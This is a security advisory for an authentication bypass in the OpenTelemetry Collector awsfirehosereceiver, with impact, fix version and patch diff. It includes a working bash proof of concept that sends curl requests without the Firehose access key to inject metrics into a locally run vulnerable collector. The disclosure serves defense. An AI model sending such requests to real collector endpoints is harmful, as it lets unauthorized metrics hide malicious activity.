Summary
OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.
OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.
Impact
Only OpenTelemetry Collector users configured with the “alpha” awsfirehosereceiver module are affected. This module was added in version v0.49.0 of the “Contrib” distribution (or may be included in custom builds).
There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints.
Fix
A fix was introduced in https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0).
Details
<details>
<summary>Details</summary>
PoC
When simulating Firehose requests against vulnerable versions of the Collector, we can see “UNAUTHORIZED METRICS” printed to the console via the debug exporter.
(Note this script doesn’t run on some older still-vulnerable versions that do not have the “debug” exporter.)
#!/bin/bash
OTELCOL_VERSION=0.107.0
OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}"
OTELCOL_PLATFORM="linux_amd64"
HOST_PORT=8081
cat > config.yaml << END
# https://opentelemetry.io/docs/collector/configuration/
exporters:
debug:
verbosity: normal
receivers:
awsfirehose:
endpoint : "127.0.0.1:${HOST_PORT}"
record_type : "cwmetrics"
access_key : "1234"
service:
pipelines:
metrics:
receivers:
- awsfirehose
exporters:
- debug
telemetry:
logs:
encoding: "json"
level: "debug"
END
if [ ! -x "${OTELCOL_BINARY}" ]; then
curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz
tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib
mv otelcol-contrib ${OTELCOL_BINARY}
fi
"./${OTELCOL_BINARY}" --config=config.yaml &
OTELCOL_PID=$!
echo "Running OTel Collector with PID ${OTELCOL_PID}"
sleep 3
# Send metrics with correct access key
if ! curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-valid"\
-H "X-Amz-Firehose-Access-Key: 1234"\
--data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo "Unexpected – Request with valid access key did not succeed"
kill ${OTELCOL_PID}
exit 1
fi
# Send metrics with incorrect access key
if curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-invalid"\
-H "X-Amz-Firehose-Access-Key: 5678"\
--data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo "Unexpected – Request succeeded with invalid access key"
kill ${OTELCOL_PID}
exit 1
fi
# Send unauthorized metrics without an access key
if curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\
--data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo -e "\n*** Vulnerability present - request with no access key succeeded ***\n"
else
echo "Not vulnerable - request with no key was denied."
kill ${OTELCOL_PID}
exit 1
fi
kill ${OTELCOL_PID}
Patch
The if statement makes the access key header optional, rather than the configuration optional.
This has been patched in #34847 to separately handle the case where access_key is not configured, and use a default-deny style:
diff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go
index 6211f61221..4d78eb2778 100644
--- a/receiver/awsfirehosereceiver/receiver.go
+++ b/receiver/awsfirehosereceiver/receiver.go
@@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// validate checks the Firehose access key in the header against
// the one passed into the Config
func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {
- if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != "" && accessKey != string(fmr.config.AccessKey) {
- return http.StatusUnauthorized, errInvalidAccessKey
+ if string(fmr.config.AccessKey) == "" {
+ // No access key is configured - accept all requests.
+ return http.StatusAccepted, nil
+ }
+ if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {
+ return http.StatusAccepted, nil
}
- return http.StatusAccepted, nil
+ return http.StatusUnauthorized, errInvalidAccessKey
}
diff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go
index b02a391dd5..1ef5bdf4d3 100644
--- a/receiver/awsfirehosereceiver/receiver_test.go
+++ b/receiver/awsfirehosereceiver/receiver_test.go
@@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) {
wantStatusCode: http.StatusUnauthorized,
wantErr: errInvalidAccessKey,
},
+ "WithNoAccessKey": {
+ headers: map[string]string{
+ headerFirehoseAccessKey: "",
+ },
+ body: testFirehoseRequest(testFirehoseRequestID, noRecords),
+ wantStatusCode: http.StatusUnauthorized,
+ wantErr: errInvalidAccessKey,
+ },
"WithoutRequestId/Body": {
headers: map[string]string{
headerFirehoseRequestID: testFirehoseRequestID,
</details>
Miggo AI